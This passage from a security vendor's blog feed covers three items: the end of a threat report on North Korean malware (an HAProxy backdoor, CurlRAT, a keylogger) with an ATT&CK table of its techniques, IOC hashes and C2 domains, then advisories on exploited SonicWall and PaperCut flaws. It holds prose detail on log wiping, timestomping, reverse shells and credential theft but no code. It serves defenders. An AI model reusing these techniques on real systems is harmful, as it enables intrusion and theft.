long-term espionage operations with the ability to steal cookie sessions, credentials, redirect selected users, conduct drive-by download attacks, and hide evidence of the tampered page to a specific range of IPs to evade detection. Defenders should treat any edge component managing user traffic, SSL, or runtime modules with the same strict security standards as their main application servers. Relying on the component's own logs is not enough; securing these systems requires independent network correlation, memory behavioral analysis, and binary integrity checks.</span></p><h2><span style='font-size: undefined;'>MITRE ATT&CK techniques</span></h2><table><colgroup data-width='1794.919191919192'><col style="width:10.692358340320883%"/><col style="width:22.11798736050693%"/><col style="width:34.931934697828325%"/><col style="width:32.25771960134386%"/></colgroup><thead><tr><th><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Tactic</strong></span></p></th><th><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Technique</strong></span></p></th><th><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Detail</strong></span></p></th><th><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Component</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Initial access</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1190] Exploit public-facing application</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>HAProxy filter API abused as injection point; watering-hole payload delivery via compromised load balancer</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Execution</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1059.004] Unix shell</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>popen() used for one-shot command execution per opcode '3'; PTY shell spawned per opcode '5'; reverse shell per opcode '3' in CurlRAT</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor, CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Execution</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1106] Native API</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>pthread_create / pthread_detach for detached shell threads; HAProxy pool_alloc / task_wakeup for async response scheduling</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Persistence</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1574.006] Hijack execution flow: dynamic linker</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Implant loaded as HAProxy shared library filter at process start; persistent across HAProxy restarts</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Persistence</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1543] Create or modify system process</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Legitimate crond binary overwritten in-place; service restarted; timestomping to match /usr/bin/ssh creation time</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager, CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Privilege escalation</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1548] Abuse elevation control mechanism</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>setuid(0) / setreuid(0,0) called before reverse shell daemonisation; stager verifies root before payload drop</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager, CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defence evasion</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1036.005] Masquerade: match legitimate name</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>crond, polkitd, agetty, atd binary names used; CentOS variant masquerades functions as atd_ routines in static analysis</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager, CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defence evasion</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1070.002] Clear Linux logs</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Selective keyword erasure (tmp, wget, cron, crond) from bash_history, messages, audit.log, secure, syslog, auth.log via /tmp/jasper-log staging file</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defence evasion</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1070.006] Timestomp</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Backdoored crond given same creation timestamp as /usr/bin/ssh post-install</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defence evasion</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1562.006] Disable or modify OS logging</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>HAProxy connection counters (beconn, feconn, actconn, cum_conn, cum_req, bytes_in, bytes_out, sps_max, conn_max, cps_max) atomically scrubbed via hardcoded struct offsets</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defence evasion</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1027] Obfuscated files or information</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Config files encrypted with chained XOR + monoalphabetic substitution; payload scripts encrypted with substitution cipher; C2 comms protected with feedback XOR + Base64</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager, CurlRAT, ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defence evasion</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1497.001] Virtualisation/sandbox evasion</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT watchdog checks /usr/lib/libvirtlog.so.0 before activating; aborts if not in virtualized environment</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Defence evasion</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1480] Execution guardrails</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager deploys only if HAProxy or cron are detected; CurlRAT validates victim token before handler dispatch; ted blacklists known scanner IPs</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager, CurlRAT, ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Credential access</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1556.003] Modify authentication process: pluggable authentication modules</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>SSH keylogger intercepts plaintext passwords; credentials saved to encrypted log at /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Credential access</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1539] Steal web session cookie</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Passive capture engine intercepts HTTP sessions; harvests Source IP, Host, URL, Referer, User-Agent, Accept-Language key via regex-gated filters</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Discovery</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1082] System information discovery</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager profiles hostname, OS distro, version, kernel release, CPU arch to select payload; CurlRAT beacon transmits 10KB system-info structure</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager, CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Discovery</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1057] Process discovery</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT watchdog polls /proc/haproxy.pid hourly; tracks started/stopped/restarted/reloaded states; reports via writeservice_info endpoint</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Collection</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1185] Browser session hijacking</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Response body replaced or appended with decrypted payload script via HAProxy data filter callbacks; Content-Type, Content-Length, Content-Disposition rewritten; 200 OK forced; Accept-Ranges stripped</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Collection</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1119] Automated collection</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Passive capture logs timestamped records per matched request; expanded * records written when Accept-Language mrt key present</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1071.001] Application layer protocol: web protocols</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted C2 tunnelled as HTTP through load balancer; CurlRAT polls C2 over HTTPS with libcurl fallback to HTTP; all payloads as application/x-www-form-urlencoded POST</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT, ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1132.001] Data encoding: standard encoding</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>All CurlRAT C2 payloads Base64-encoded after feedback XOR; ted pipe protocol uses raw bytes with rolling XOR session key</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT, ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1102] Web service</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT falls back to secondary C2 img.monderhouse.space on config validation failure; img.darklights.store used as backup config host</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1572] Protocol tunnelling</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Interactive shell tunnelled through HAProxy HTTP pipeline via named FIFOs; response exfiltrated via raw send() on TCP socket bypassing HAProxy logging</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>ted backdoor</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1568] Dynamic resolution</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT victim ID derived from hostname + IP + hardware UUID + cron version string, MD5'd and uppercased; used as User-token header in all C2 requests</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exfiltration</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1041] Exfiltration over C2 channel</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>SSH credentials exfiltrated via CurlRAT C2; session capture logs written by ted; CurlRAT mode 0 streams command output back over same channel</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stager, CurlRAT, ted backdoor, SSH keylogger</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Exfiltration</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>[T1560] Archive collected data</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>SSH keylogger output encrypted with substitution cipher before writing; CurlRAT applies feedback XOR + Base64 to all outbound data</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CurlRAT, SSH keylogger</span></p></td></tr></tbody></table><h2><span style='font-size: undefined;'>Indicators of compromise (IOCs)</span></h2><h3><span style='font-size: undefined;'>CurlRAT Stager</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61</span></p><h3><span style='font-size: undefined;'>CurlRAT</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>83f7d565b0465546027052b597af46eae3a199e7a91fcc2ab936341147349130</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>7007a78d50a993cb174c685eba96eb442c9507e38fd9d8e5dffc712f613ec110</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>6cf1b5e92a9c0756f597a5ddefb38eba32961c52efac7ab2a0aa52c639a8fc53</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>ed72f4cd8d467b5c5d95ae6aeca4aaeea14d79565d379c1ca5871a714727be16</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>6cf1b5e92a9c0756f597a5ddefb38eba32961c52efac7ab2a0aa52c639a8fc53</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>d53c760c23b4405eb04ad0f20ead375440344b3bdf1fb7854ed12e40d155eabe - cronie</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>2f02b09d61d432134e994ad671258f523bbf289ae6091fd4eae192c60bd51b6f - agetty</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>8f30b57928934ae67478d0e690c91d046e35a638da098d02922a4a88a0fdb66c - atd</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>a1d8af3a6acb731f07f72040eccb3450c1c83d40e29f736c2a63d35388660be4 - polkitd</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>12810854c8b2c391b23e2e18b013e873d0369b0637aa3cf993136c07188ba3b8</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>009a1e2d7a582a24e50cf2ffc2a005482c8e38f22bf5ed416053855f8d054e1e</span></p><h3><span style='font-size: undefined;'>SSH keylogger</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5</span></p><h3><span style='font-size: undefined;'>Ted backdoor</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>94630b96f628c96a6bff7904b40ffc9ad67c86f8a4ff6080c3b524831c93f402</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7</span></p><h3><span style='font-size: undefined;'>C2</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>img.monderhouse.space</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>img.smartnords.site</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>img.darklights.store</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>img.responsive.pstatic.autos</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>img.socialteams.store</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>img.worksongo.store</span></p><h2><span style='font-size: undefined;'>Rapid7 customers</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'></span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-dprk-apts-ted-backdoor-curlrat-target-south-korean-media-automotive-sectors</link>
      <guid isPermaLink="false">blte470e9524b9af32f</guid>
      <category><![CDATA[Hacking]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Rapid7 Labs]]></dc:creator>
      <pubDate>Fri, 04 Sep 2026 12:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83e3180716d766f0/69b180eb669f1ce1a02fe1aa/Purple-teaming-in-2026-hero.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Critical SonicWall SMA1000 Vulnerabilities CVE-2026-83548, CVE-2026-83549 Exploited in the Wild]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On September 1, 2026, SonicWall </span><a href="https://www.sonicwall.com/es-mx/support/notices/product-notice-sma-1000-series-affected-by-multiple-vulnerabilities-snwlid-2026-0016/kA1VN000002AXmQ0AW"><span style='font-size: undefined;'>disclosed</span></a><span style='font-size: undefined;'> two vulnerabilities affecting SonicWall SMA1000 appliances that the vendor says are being actively exploited in the wild. The vulnerabilities, </span><a href="https://nvd.nist.gov/vuln/detail/cve-2026-83548"><span style='font-size: undefined;'>CVE-2026-83548</span></a><span style='font-size: undefined;'> and </span><a href="https://nvd.nist.gov/vuln/detail/cve-2026-83549"><span style='font-size: undefined;'>CVE-2026-83549</span></a><span style='font-size: undefined;'>, can be chained to achieve unauthenticated remote code execution (RCE) on affected appliances.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-83548 is a critical pre-authentication server-side request forgery (SSRF) vulnerability in the SMA1000 Appliance Work Place interface. The flaw has a CVSS v3.1 base score of </span><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"><span style='font-size: undefined;'>10.0</span></a><span style='font-size: undefined;'> and can allow a remote, unauthenticated attacker to access sensitive functionality and perform unauthorized operations through an unintended alternate access path.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-83549 is a high-severity OS command injection vulnerability in the Appliance Management Console (AMC). On its own, exploitation requires an authenticated administrator and specific system conditions. Although, by leveraging the SSRF vulnerability CVE-2026-83548 an attacker could potentially exploit CVE-2026-83549 to execute arbitrary OS commands without prior authentication.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall SMA1000 appliances are enterprise secure remote access gateways used to provide employees and other authorized users with access to internal applications and resources. Their role as network-edge systems makes successful exploitation particularly concerning, since affected Work Place interfaces may be exposed directly to the internet as part of normal deployment.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall has confirmed active exploitation of both vulnerabilities in the wild, </span><span style='font-size: undefined;'>and both </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-83548"><span style='font-size: undefined;'>CVE-2026-83548</span></a><span style='font-size: undefined;'> and </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-83549"><span style='font-size: undefined;'>CVE-2026-83549</span></a><span style='font-size: undefined;'> have been added to CISA's Known Exploited Vulnerabilities (</span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>KEV</span></a><span style='font-size: undefined;'>) catalog. </span><span style='font-size: undefined;'>No public proof-of-concept exploit, indicators of compromise (IOCs), or attribution for the current activity were identified in the research available at the time of publication.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerabilities affect SMA1000 Models - 6210, 7210, 8200v running the following versions:</span></p><table><colgroup data-width='500'><col style="width:47.460317460317455%"/><col style="width:52.539682539682545%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Vulnerable Versions</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed Versions</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3-03453 platform-hotfix</span></span><span style='font-size: undefined;'> and earlier</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3-03526 (platform-hotfix)</span></span><span style='font-size: undefined;'> and higher versions</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0-02835 platform-hotfix </span></span><span style='font-size: undefined;'>and earlier</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0-02952 (platform-hotfix)</span></span><span style='font-size: undefined;'> and higher versions.</span></p><p></p></td></tr></tbody></table><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations operating affected SonicWall SMA1000 appliances should prioritize applying SonicWall’s updated platform hotfixes immediately. Because exploitation was occurring before public disclosure, organizations should not rely solely on patching to determine whether an appliance has already been compromised.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall recommends upgrading affected appliances to:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3-03526 platform-hotfix</span></span><span style='font-size: undefined;'>, for systems on the </span><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3</span></span><span style='font-size: undefined;'> branch</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0-02952 platform-hotfix</span></span><span style='font-size: undefined;'>, for systems on the </span><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0</span></span><span style='font-size: undefined;'> branch</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Affected Product/Component:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall SMA1000 Appliance Work Place and Appliance Management Console</span></p></li></ul><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Version </span><span style='font-size: undefined;'><span data-type='inlineCode'>12.4.3-03453 platform-hotfix</span></span><span style='font-size: undefined;'> and earlier are affected.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Version </span><span style='font-size: undefined;'><span data-type='inlineCode'>12.5.0-02835 platform-hotfix</span></span><span style='font-size: undefined;'> and earlier are affected.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>SonicWall additionally recommends that customers contact SonicWall Technical Support for assistance reviewing appliances for indicators of compromise.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>If evidence of compromise is identified, SonicWall recommends:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Re-imaging affected hardware appliances or re-deploying affected virtual appliances.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Changing all user and administrator passwords.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Resetting Time-based One-Time Password (TOTP) tokens.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Given the confirmed exploitation of these vulnerabilities, organizations should treat potentially exposed appliances running vulnerable software as a priority for investigation as well as remediation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Please read the SonicWall </span><a href="https://www.sonicwall.com/es-mx/support/notices/product-notice-sma-1000-series-affected-by-multiple-vulnerabilities-snwlid-2026-0016/kA1VN000002AXmQ0AW"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'> for the latest vendor guidance.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3>Exposure Command, InsightVM, and Nexpose</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-83548 and CVE-2026-83549 in the SMA1000 Appliance series with vulnerability checks expected to be available in the September 3rd content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 2, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>September 3, 2026:</strong></span><span style='font-size: undefined;'> CVE added to CISA KEV.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-critical-sonicwall-sma1000-vulnerabilities-cve-2026-83548-cve-2026-83549-exploited-in-the-wild</link>
      <guid isPermaLink="false">bltbb8920bb4038a592</guid>
      <category><![CDATA[Emergent Threat Response]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 02 Sep 2026 16:58:45 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap Up: Payloads and Exploits, and Scanners, Oh my!]]></title>
      <description><![CDATA[]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-payloads-exploits-scanners</link>
      <guid isPermaLink="false">blt526bc61553e28979</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[The Metasploit Team]]></dc:creator>
      <pubDate>Fri, 28 Aug 2026 14:57:18 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0475760a2990dfd7/6849ab41a770d7563190a3ea/metasploit-fence.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[PaperCut NG/MF Critical Zero-Day Exploited in the Wild]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview	</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On August 27, 2026, PaperCut Software published an </span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/"><span style='font-size: undefined;'>urgent security advisory</span></a><span style='font-size: undefined;'> stating that it is investigating active exploitation of a vulnerability affecting PaperCut NG and PaperCut MF. PaperCut has confirmed customer incidents and is treating the issue as a security emergency. At the initial time of disclosure, the vulnerability had not been assigned a CVE identifier, and PaperCut had not publicly disclosed a CVSS score, vulnerability class, authentication requirements, or the technical details of the exploit path. However on August 28, the vendor assigned CVE-2026-81578 and CVE-2026-82078 for the two vulnerabilities that make up the exploit chain.</span></p><table><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE ID</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CWE</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVSSv4</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-81578</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Authentication Bypass</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-306 Missing authentication for critical function.</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>8.8 (High)</span></a></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-82078</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Unsafe Dynamic Class Loading in Database Connector</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-470 Use of Externally-Controlled input to select classes or code ('unsafe reflection').</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"><span style='font-size: undefined;'>9.4 (Critical)</span></a></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut NG and PaperCut MF are print management platforms commonly deployed within enterprise, education, and other organizational environments. Because the PaperCut Application Server provides web-accessible administrative and application functionality, organizations with servers exposed to the public internet should prioritize remediation and access restriction.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut stated in its </span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/#current-status"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> that information supplied by a university customer’s security team and digital forensics and incident response team enabled its security response team to reproduce the vulnerability in PaperCut NG and PaperCut MF. On August 28, 2026 at 02:10 AEST, PaperCut released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26, followed later the same day with patches for version 24.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut has been targeted in the past; in 2023, </span><a href="https://www.rapid7.com/blog/post/2023/05/17/etr-cve-2023-27350-ongoing-exploitation-of-papercut-remote-code-execution-vulnerability/"><span style='font-size: undefined;'>CVE-2023-27350</span></a><span style='font-size: undefined;'> was broadly exploited in the wild by multiple threat-actor groups, including ransomware operators. This prior history increases the urgency organizations should address this new zero-day with.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut currently considers all versions of PaperCut NG and PaperCut MF potentially impacted. Customers operating internet-accessible PaperCut Application Servers should take immediate action even if no suspicious activity has been observed.</span></p><p><span style='font-size: undefined;'>On August 31, 2026, both CVE-2026-81578 and CVE-2026-82078 were added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>known exploited vulnerabilities</span></a><span style='font-size: undefined;'> (KEV), based on evidence of active exploitation. A Metasploit module is now </span><a href="https://github.com/rapid7/metasploit-framework/pull/21842"><span 